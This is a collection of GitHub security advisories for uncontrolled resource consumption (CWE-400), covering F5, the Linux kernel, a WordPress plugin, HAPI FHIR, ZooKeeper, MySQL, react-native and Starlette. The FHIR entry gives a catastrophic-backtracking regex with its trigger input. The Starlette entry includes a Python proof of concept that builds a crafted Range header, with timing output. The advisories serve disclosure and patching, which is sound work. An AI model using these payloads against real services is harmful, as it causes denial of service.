CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5612 vulnerabilities reference this CWE, most recent first.
GHSA-7C8W-GJF8-H77G
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-04-04 05:39When an SSL profile is configured on a Virtual Server, undisclosed traffic can cause an increase in CPU or SSL accelerator resource utilization.
Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2023-24594"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-03T15:15:12Z",
"severity": "MODERATE"
},
"details": "\nWhen an SSL profile is configured on a Virtual Server, undisclosed traffic can cause an increase in CPU or SSL accelerator resource utilization.\u00a0\u00a0\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-7c8w-gjf8-h77g",
"modified": "2024-04-04T05:39:09Z",
"published": "2023-07-06T21:14:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24594"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000133132"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7C8X-XJQV-R325
Vulnerability from github – Published: 2024-02-28 09:30 – Updated: 2024-08-01 15:31In the Linux kernel, the following vulnerability has been resolved:
net: marvell: prestera: fix port event handling on init
For some reason there might be a crash during ports creation if port events are handling at the same time because fw may send initial port event with down state.
The crash points to cancel_delayed_work() which is called when port went is down. Currently I did not find out the real cause of the issue, so fixed it by cancel port stats work only if previous port's state was up & runnig.
The following is the crash which can be triggered:
[ 28.311104] Unable to handle kernel paging request at virtual address 000071775f776600 [ 28.319097] Mem abort info: [ 28.321914] ESR = 0x96000004 [ 28.324996] EC = 0x25: DABT (current EL), IL = 32 bits [ 28.330350] SET = 0, FnV = 0 [ 28.333430] EA = 0, S1PTW = 0 [ 28.336597] Data abort info: [ 28.339499] ISV = 0, ISS = 0x00000004 [ 28.343362] CM = 0, WnR = 0 [ 28.346354] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000100bf7000 [ 28.352842] [000071775f776600] pgd=0000000000000000, p4d=0000000000000000 [ 28.359695] Internal error: Oops: 96000004 [#1] PREEMPT SMP [ 28.365310] Modules linked in: prestera_pci(+) prestera uio_pdrv_genirq [ 28.372005] CPU: 0 PID: 1291 Comm: kworker/0:1H Not tainted 5.11.0-rc4 #1 [ 28.378846] Hardware name: DNI AmazonGo1 A7040 board (DT) [ 28.384283] Workqueue: prestera_fw_wq prestera_fw_evt_work_fn [prestera_pci] [ 28.391413] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--) [ 28.397468] pc : get_work_pool+0x48/0x60 [ 28.401442] lr : try_to_grab_pending+0x6c/0x1b0 [ 28.406018] sp : ffff80001391bc60 [ 28.409358] x29: ffff80001391bc60 x28: 0000000000000000 [ 28.414725] x27: ffff000104fc8b40 x26: ffff80001127de88 [ 28.420089] x25: 0000000000000000 x24: ffff000106119760 [ 28.425452] x23: ffff00010775dd60 x22: ffff00010567e000 [ 28.430814] x21: 0000000000000000 x20: ffff80001391bcb0 [ 28.436175] x19: ffff00010775deb8 x18: 00000000000000c0 [ 28.441537] x17: 0000000000000000 x16: 000000008d9b0e88 [ 28.446898] x15: 0000000000000001 x14: 00000000000002ba [ 28.452261] x13: 80a3002c00000002 x12: 00000000000005f4 [ 28.457622] x11: 0000000000000030 x10: 000000000000000c [ 28.462985] x9 : 000000000000000c x8 : 0000000000000030 [ 28.468346] x7 : ffff800014400000 x6 : ffff000106119758 [ 28.473708] x5 : 0000000000000003 x4 : ffff00010775dc60 [ 28.479068] x3 : 0000000000000000 x2 : 0000000000000060 [ 28.484429] x1 : 000071775f776600 x0 : ffff00010775deb8 [ 28.489791] Call trace: [ 28.492259] get_work_pool+0x48/0x60 [ 28.495874] cancel_delayed_work+0x38/0xb0 [ 28.500011] prestera_port_handle_event+0x90/0xa0 [prestera] [ 28.505743] prestera_evt_recv+0x98/0xe0 [prestera] [ 28.510683] prestera_fw_evt_work_fn+0x180/0x228 [prestera_pci] [ 28.516660] process_one_work+0x1e8/0x360 [ 28.520710] worker_thread+0x44/0x480 [ 28.524412] kthread+0x154/0x160 [ 28.527670] ret_from_fork+0x10/0x38 [ 28.531290] Code: a8c17bfd d50323bf d65f03c0 9278dc21 (f9400020) [ 28.537429] ---[ end trace 5eced933df3a080b ]---
{
"affected": [],
"aliases": [
"CVE-2021-47023"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-28T09:15:39Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: marvell: prestera: fix port event handling on init\n\nFor some reason there might be a crash during ports creation if port\nevents are handling at the same time because fw may send initial\nport event with down state.\n\nThe crash points to cancel_delayed_work() which is called when port went\nis down. Currently I did not find out the real cause of the issue, so\nfixed it by cancel port stats work only if previous port\u0027s state was up\n\u0026 runnig.\n\nThe following is the crash which can be triggered:\n\n[ 28.311104] Unable to handle kernel paging request at virtual address\n000071775f776600\n[ 28.319097] Mem abort info:\n[ 28.321914] ESR = 0x96000004\n[ 28.324996] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 28.330350] SET = 0, FnV = 0\n[ 28.333430] EA = 0, S1PTW = 0\n[ 28.336597] Data abort info:\n[ 28.339499] ISV = 0, ISS = 0x00000004\n[ 28.343362] CM = 0, WnR = 0\n[ 28.346354] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000100bf7000\n[ 28.352842] [000071775f776600] pgd=0000000000000000,\np4d=0000000000000000\n[ 28.359695] Internal error: Oops: 96000004 [#1] PREEMPT SMP\n[ 28.365310] Modules linked in: prestera_pci(+) prestera\nuio_pdrv_genirq\n[ 28.372005] CPU: 0 PID: 1291 Comm: kworker/0:1H Not tainted\n5.11.0-rc4 #1\n[ 28.378846] Hardware name: DNI AmazonGo1 A7040 board (DT)\n[ 28.384283] Workqueue: prestera_fw_wq prestera_fw_evt_work_fn\n[prestera_pci]\n[ 28.391413] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--)\n[ 28.397468] pc : get_work_pool+0x48/0x60\n[ 28.401442] lr : try_to_grab_pending+0x6c/0x1b0\n[ 28.406018] sp : ffff80001391bc60\n[ 28.409358] x29: ffff80001391bc60 x28: 0000000000000000\n[ 28.414725] x27: ffff000104fc8b40 x26: ffff80001127de88\n[ 28.420089] x25: 0000000000000000 x24: ffff000106119760\n[ 28.425452] x23: ffff00010775dd60 x22: ffff00010567e000\n[ 28.430814] x21: 0000000000000000 x20: ffff80001391bcb0\n[ 28.436175] x19: ffff00010775deb8 x18: 00000000000000c0\n[ 28.441537] x17: 0000000000000000 x16: 000000008d9b0e88\n[ 28.446898] x15: 0000000000000001 x14: 00000000000002ba\n[ 28.452261] x13: 80a3002c00000002 x12: 00000000000005f4\n[ 28.457622] x11: 0000000000000030 x10: 000000000000000c\n[ 28.462985] x9 : 000000000000000c x8 : 0000000000000030\n[ 28.468346] x7 : ffff800014400000 x6 : ffff000106119758\n[ 28.473708] x5 : 0000000000000003 x4 : ffff00010775dc60\n[ 28.479068] x3 : 0000000000000000 x2 : 0000000000000060\n[ 28.484429] x1 : 000071775f776600 x0 : ffff00010775deb8\n[ 28.489791] Call trace:\n[ 28.492259] get_work_pool+0x48/0x60\n[ 28.495874] cancel_delayed_work+0x38/0xb0\n[ 28.500011] prestera_port_handle_event+0x90/0xa0 [prestera]\n[ 28.505743] prestera_evt_recv+0x98/0xe0 [prestera]\n[ 28.510683] prestera_fw_evt_work_fn+0x180/0x228 [prestera_pci]\n[ 28.516660] process_one_work+0x1e8/0x360\n[ 28.520710] worker_thread+0x44/0x480\n[ 28.524412] kthread+0x154/0x160\n[ 28.527670] ret_from_fork+0x10/0x38\n[ 28.531290] Code: a8c17bfd d50323bf d65f03c0 9278dc21 (f9400020)\n[ 28.537429] ---[ end trace 5eced933df3a080b ]---",
"id": "GHSA-7c8x-xjqv-r325",
"modified": "2024-08-01T15:31:28Z",
"published": "2024-02-28T09:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47023"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0ce6052802be2cb61a57b753e41301339c88c839"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/333980481b99edb24ebd5d1a53af70a15d9146de"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9d1ba11fabdd8f25abb24272ef1621417981320b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b5bba6ede42693f50ce1c9944315cefed7491061"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7CGG-8926-325V
Vulnerability from github – Published: 2022-02-15 00:02 – Updated: 2023-07-21 18:30The Popup | Custom Popup Builder WordPress plugin before 1.3.1 autoload data from its popup on every pages, as such data can be sent by unauthenticated user, and is not validated in length, this could cause a denial of service on the blog
{
"affected": [],
"aliases": [
"CVE-2022-0214"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-14T12:15:00Z",
"severity": "HIGH"
},
"details": "The Popup | Custom Popup Builder WordPress plugin before 1.3.1 autoload data from its popup on every pages, as such data can be sent by unauthenticated user, and is not validated in length, this could cause a denial of service on the blog",
"id": "GHSA-7cgg-8926-325v",
"modified": "2023-07-21T18:30:33Z",
"published": "2022-02-15T00:02:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0214"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/ca2e8feb-15d6-4965-ad9c-8da1bc01e0f4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7CMJ-V6X8-FRVV
Vulnerability from github – Published: 2026-07-09 13:43 – Updated: 2026-07-09 13:43Summary
All implementations of FHIRPathEngine accept arbitrary FHIRPath expressions and evaluate them without input validation. The utility intended to secure this evaluation did so incorrectly, and did not fully cover all places in which evaluation was being done. An attacker can send a resource containing an evil regex pattern that causes catastrophic backtracking, exhausting system resources, and causing Denial-of-Service.
Details
The vulnerability exists in regex execution in FHIRPathEngine implementations across multiple code modules. The FHIRPath functions matches(), matchesFull(), and replaceMatches() pass user-controlled regular expressions to Java's Pattern.compile() and String.replaceAll() through a utility class designed to time out after a specified interval. That utility correctly cancelled a single executor thread and returned with an exception, but the execution within the thread had no means to listen for this cancellation and would persist. Furthermore, three modules contained method calls in FHIRPathEngine that were not protected by this utility class.
Why this is exploitable:
Java's Pattern.compile() with a pattern like (a+)+$ against input "aaaaaaaaaaaaaaaaaaaaaa!" causes exponential backtracking (O(2^n) time complexity).
Impact
CPU Exhaustion: The exponential backtracking in Java's regex engine consumes 100% of a CPU core for the duration of the hang (effectively infinite for sufficiently long input strings) for callers of FHIRPathEngine.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu3"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4b"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
},
"ranges": [
{
"events": [
{
"introduced": "6.9.5"
},
{
"fixed": "6.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
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}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4b"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49485"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:43:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\nAll implementations of FHIRPathEngine accept arbitrary FHIRPath expressions and evaluate them without input validation. The utility intended to secure this evaluation did so incorrectly, and did not fully cover all places in which evaluation was being done. An attacker can send a resource containing an evil regex pattern that causes catastrophic backtracking, exhausting system resources, and causing Denial-of-Service.\n\n## Details\nThe vulnerability exists in regex execution in FHIRPathEngine implementations across multiple code modules. The FHIRPath functions matches(), matchesFull(), and replaceMatches() pass user-controlled regular expressions to Java\u0027s Pattern.compile() and String.replaceAll() through a utility class designed to time out after a specified interval. That utility correctly cancelled a single executor thread and returned with an exception, but the execution within the thread had no means to listen for this cancellation and would persist. Furthermore, three modules contained method calls in FHIRPathEngine that were not protected by this utility class.\n\n## Why this is exploitable:\n\nJava\u0027s Pattern.compile() with a pattern like (a+)+$ against input \"aaaaaaaaaaaaaaaaaaaaaa!\" causes exponential backtracking (O(2^n) time complexity). \n\n## Impact\nCPU Exhaustion: The exponential backtracking in Java\u0027s regex engine consumes 100% of a CPU core for the duration of the hang (effectively infinite for sufficiently long input strings) for callers of FHIRPathEngine.",
"id": "GHSA-7cmj-v6x8-frvv",
"modified": "2026-07-09T13:43:03Z",
"published": "2026-07-09T13:43:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-7cmj-v6x8-frvv"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapifhir/org.hl7.fhir.core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "org.hl7.fhir.core: ReDoS via FHIRPath matches()/replaceMatches() in FHIR Validator HTTP Endpoint"
}
GHSA-7CWJ-J333-X7F7
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-07-01 16:58Two four letter word commands "wchp/wchc" are CPU intensive and could cause spike of CPU utilization on Apache ZooKeeper server if abused, which leads to the server unable to serve legitimate client requests. Apache ZooKeeper thru version 3.4.9 and 3.5.2 suffer from this issue, fixed in 3.4.10, 3.5.3, and later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.9"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.zookeeper:zookeeper"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.5.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.zookeeper:zookeeper"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-5637"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-01T16:58:11Z",
"nvd_published_at": "2017-10-10T01:30:00Z",
"severity": "HIGH"
},
"details": "Two four letter word commands \"wchp/wchc\" are CPU intensive and could cause spike of CPU utilization on Apache ZooKeeper server if abused, which leads to the server unable to serve legitimate client requests. Apache ZooKeeper thru version 3.4.9 and 3.5.2 suffer from this issue, fixed in 3.4.10, 3.5.3, and later.",
"id": "GHSA-7cwj-j333-x7f7",
"modified": "2022-07-01T16:58:11Z",
"published": "2022-05-13T01:08:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5637"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2477"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3354"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3355"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/ZOOKEEPER-2693"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/053d9ce4d579b02203db18545fee5e33f35f2932885459b74d1e4272@%3Cissues.activemq.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/58170aeb7a681d462b7fa31cae81110cbb749d2dc83c5736a0bb8370@%3Cdev.zookeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3@%3Ccommits.nifi.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b@%3Ccommits.nifi.apache.org%3E"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3871"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98814"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Apache ZooKeeper"
}
GHSA-7CXR-6J58-68M6
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.47. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60171"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:17Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.47. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-7cxr-6j58-68m6",
"modified": "2026-07-22T00:31:21Z",
"published": "2026-07-22T00:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60171"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7F53-FMMV-MFJV
Vulnerability from github – Published: 2021-07-20 17:33 – Updated: 2021-06-10 14:10A regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "react-native"
},
"ranges": [
{
"events": [
{
"introduced": "0.59.0"
},
{
"fixed": "0.62.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-native"
},
"ranges": [
{
"events": [
{
"introduced": "0.63.0"
},
{
"fixed": "0.64.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1920"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-02T19:22:39Z",
"nvd_published_at": "2021-06-01T14:15:00Z",
"severity": "HIGH"
},
"details": "A regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.",
"id": "GHSA-7f53-fmmv-mfjv",
"modified": "2021-06-10T14:10:51Z",
"published": "2021-07-20T17:33:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1920"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react-native/commit/ca09ae82715e33c9ac77b3fa55495cf84ba891c7"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react-native/releases/tag/v0.62.3"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react-native/releases/tag/v0.64.1"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-293-redos-react-native"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/react-native"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in react-native"
}
GHSA-7F5H-V6XP-FCQ8
Vulnerability from github – Published: 2025-10-28 20:38 – Updated: 2025-11-04 17:40Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.49.0"
},
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0.39.0"
},
{
"fixed": "0.49.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62727"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-28T20:38:01Z",
"nvd_published_at": "2025-10-28T21:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior 